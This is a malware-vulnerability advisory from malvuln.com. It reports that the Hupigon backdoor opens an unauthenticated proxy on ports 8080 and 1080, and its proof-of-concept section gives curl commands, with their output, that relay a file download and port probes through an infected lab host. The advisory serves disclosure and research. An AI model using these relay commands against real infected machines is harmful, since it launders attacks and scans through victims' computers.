Authored by malvuln | Site malvuln.com

Backdoor.Win32.Hupigon.gy malware suffers from an unauthenticated open proxy vulnerability.

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/be74cbb86c007309d8004d910f5270f7.txt
Contact: [email protected]
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Hupigon.gy
Vulnerability: Unauthenticated Open Proxy
Description: The malware listens on TCP ports 8080, 1080. Third-party attackers who can connect to the infected system can relay requests from the original connection to the destination and then back to the origination system. Attackers may then be able to launch attacks, download files or port scan third party systems and it will appear as the attacks originated from that infected host.
Type: PE32
MD5: be74cbb86c007309d8004d910f5270f7
Vuln ID: MVID-2021-0357
Dropped files: woaisaomm.exe
Disclosure: 10/04/2021


Exploit/PoC:
Download filez)

curl http://192.168.18.125:8080/DOOM.exe -H "Host: 192.168.18.128" --output DOOM.exe
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 24576 100 24576 0 0 12288 0 0:00:02 0:00:02 --:--:-- 11155

Scan ports)

curl http://192.168.18.125:8080/DOOM.exe -H "Host: 192.168.18.128:21"
220 INetSim FTP Service ready.
500 Unknown command.

curl http://192.168.18.125:8080/DOOM.exe -H "Host: 192.168.18.128:110"
+OK INetSim POP3 Server ready <[email protected]>
-ERR Unknown command.


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